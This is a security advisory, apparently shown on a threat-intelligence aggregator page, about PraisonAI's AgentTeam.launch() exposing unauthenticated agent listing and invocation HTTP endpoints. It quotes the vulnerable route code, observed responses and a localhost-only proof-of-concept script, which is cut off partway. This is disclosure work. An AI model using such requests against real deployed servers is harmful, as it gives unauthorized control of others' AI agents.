Technologyglobalverified · 90%

PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints

When
Where
Global (internet)
Category
cyber_advisory · pip

# PraisonAI `AgentTeam.launch()` exposes unauthenticated remote agent invocation endpoints ## Summary PraisonAI's documented Python `AgentTeam.launch()` / `Agents.launch()` HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement. The current implementation registers `GET /{path}/list`, `POST /{path}`, and `POST /{path}/{agent_id}` routes. The POST routes directly call `agent.chat(...)`. Requests with no `Authorization` header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for `Agents.launch()` is `0.0.0.0`, and official documentation shows `host="0.0.0.0"` for remote access. This is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the `AgentTeam.launch()` FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release. This report is scoped to the Python `AgentTeam.launch()` / `Agents.launch()` route-registration path. It does not require adjudicating whether the separate `praisonai serve agents --api-key` CLI path is correctly enforced. ## Affected Components - Package: `praisonaiagents` - Current upstream main tested: `2f9677abb2ea68eab864ee8b6a828fd0141612e1` - Latest release tag tested: `v4.6.57` - Primary file: `src/praisonai-agents/praisonaiagents/agents/agents.py` - Current line references: `AgentTeam.launch()` begins at line 1923; the group `POST` route is registered at line 2007; the group handler invokes `agent_instance.chat(...)` at line 2042; the unauthenticated list route is registered at line 2086; per-agent handlers invoke `agent.chat(...)` at line 2117. - Primary class/API: `AgentTeam.launch()` / exported alias `Agents` - Affected routes: - `GET /{path}/list`: lists deployed agents. - `POST /{path}`: sequentially invokes all agents in the team. - `POST /{path}/{agent_id}`: invokes a specific agent. Current vulnerable sink: ```python @app.post(path) async def handle_query(request: Request, query_data: Optional[AgentQuery] = None): ... response = await loop.run_in_executor( None, copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)), ) ``` Per-agent sink: ```python app.post(agent_path)(create_agent_handler(agent_instance)) ... response = await loop.run_in_executor( None, copy_context_to_callable(lambda q=query: agent.chat(q)), ) ``` List endpoint: ```python @app.get(f"{path}/list") async def list_agents(): return {"agents": [{"name": agent.display_name, "id": ...} for agent in self.agents]} ``` There is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path. ## Security Boundary This is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return `401` and API servers bind to `127.0.0.1` by default after the prior unauthenticated API advisory family. The codebase also contains hardened sibling implementations: - `praisonai.deploy.api` now has `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, generated tokens, and `401 Unauthorized` checks (`src/praisonai/praisonai/deploy/api.py` lines 44-62 and 69-97). - `praisonai.gateway.server.WebSocketGateway` validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (`src/praisonai/praisonai/gateway/server.py` lines 328-424). - `praisonai call` hardening is documented as requiring `CALL_SERVER_TOKEN` or explicit opt-out. `AgentTeam.launch()` remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface. ## Local-Only Reproduction Run the local-only PoV script below with current source on `PYTHONPATH`: ```bash PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" \ python poc_agentteam_launch_unauth.py ``` Expected vulnerable result: ```text [poc] HIT: unauthenticated clients invoked AgentTeam endpoints ``` Observed on current upstream main: ```json { "results": [ { "body": { "agents": [ { "id": "pov_agent", "name": "pov_agent" } ] }, "case": "no_auth_list", "method": "GET", "path": "/agents/list", "status": 200 }, { "case": "no_auth_group", "method": "POST", "path": "/agents", "status": 200, "body": { "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker", "query": "marker", "results": [ { "agent": "pov_agent", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } ] } }, { "case": "wrong_bearer_group", "method": "POST", "path": "/agents", "status": 200, "body": { "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker", "query": "marker", "results": [ { "agent": "pov_agent", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } ] } }, { "case": "no_auth_per_agent", "method": "POST", "path": "/agents/pov_agent", "status": 200, "body": { "agent": "pov_agent", "query": "marker", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } } ] } ``` The PoV binds to `127.0.0.1`, uses a randomly selected local port, stubs `agent.chat()` to avoid any external LLM provider, and sends only local HTTP requests. Standalone PoV script: ```python #!/usr/bin/env python3 """ Local-only PoV for PRAI-CAND-003. Starts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed agent response, then proves both the group endpoint and per-agent endpoint execute without authentication. No model provider or external network is used. """ import json import socket import time import types import threading from contextlib import closing import requests from praisonaiagents import Agent, Agents def _free_port() -> int: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1] def main() -> int: port = _free_port() agent = Agent( name="pov_agent", role="tester", goal="test", backstory="test", llm=None, ) def stub_chat(self, query, *args, **kwargs): return f"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}" agent.chat = types.MethodType(stub_chat, agent) team = Agents(agents=[agent]) launch_thread = threading.Thread( target=lambda: team.launch(path="/agents", port=port, host="127.0.0.1", debug=False), daemon=True, ) launch_thread.start() base = f"http://127.0.0.1:{port}" for _ in range(40): try: response = requests.get(base + "/health", timeout=0.25) if response.status_code == 200: break except Exception: time.sleep(0.1) else: raise SystemExit("[poc] MISS: server did not start") cases = [ ("no_auth_list", "GET", {}, "/agents/list", None), ("no_auth_group", "POST", {}, "/agents", {"query": "marker"}), ( "wrong_bearer_group", "POST", {"Authorization": "Bearer definitely-wrong"}, "/agents", {"query": "marker"}, ), ("no_auth_per_agent", "POST", {}, "/agents/pov_agent", {"query": "marker"}), ] results = [] for name, method, headers, path, body in cases: if method == "GET": response = requests.get(base + path, headers=headers, timeout=5) else: response = requests.

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

No correlated events found in the current window. As more events arrive, connections form automatically.

← Back to the live map